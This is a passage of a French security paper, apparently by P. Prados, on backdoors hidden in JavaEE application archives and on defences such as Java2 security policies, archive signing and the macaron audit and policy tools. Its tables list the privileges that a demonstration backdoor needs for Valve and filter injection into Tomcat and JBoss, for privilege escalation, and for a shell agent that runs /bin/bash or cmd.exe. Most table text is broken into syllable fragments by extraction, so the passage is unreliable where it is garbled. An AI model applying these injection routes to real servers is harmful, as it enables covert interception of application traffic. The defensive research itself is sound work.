Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

